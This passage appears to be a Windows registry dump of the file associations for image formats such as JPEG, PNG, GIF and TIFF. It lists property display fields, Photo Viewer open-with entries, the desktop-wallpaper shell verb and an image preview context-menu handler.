    FullDetails    REG_SZ    prop:System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions;*System.Size
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif
    PreviewDetails    REG_SZ    prop:*System.DateModified;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions;*System.Size
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico
    PreviewDetails    REG_SZ    prop:*System.DateModified;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions;*System.Size
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Origin;System.Photo.DateTaken;System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions;*System.Size
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rle
    PreviewDetails    REG_SZ    prop:*System.DateModified;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions;*System.Size
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rle\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rle\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rle\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rle\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rle\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell\setdesktopwallpaper
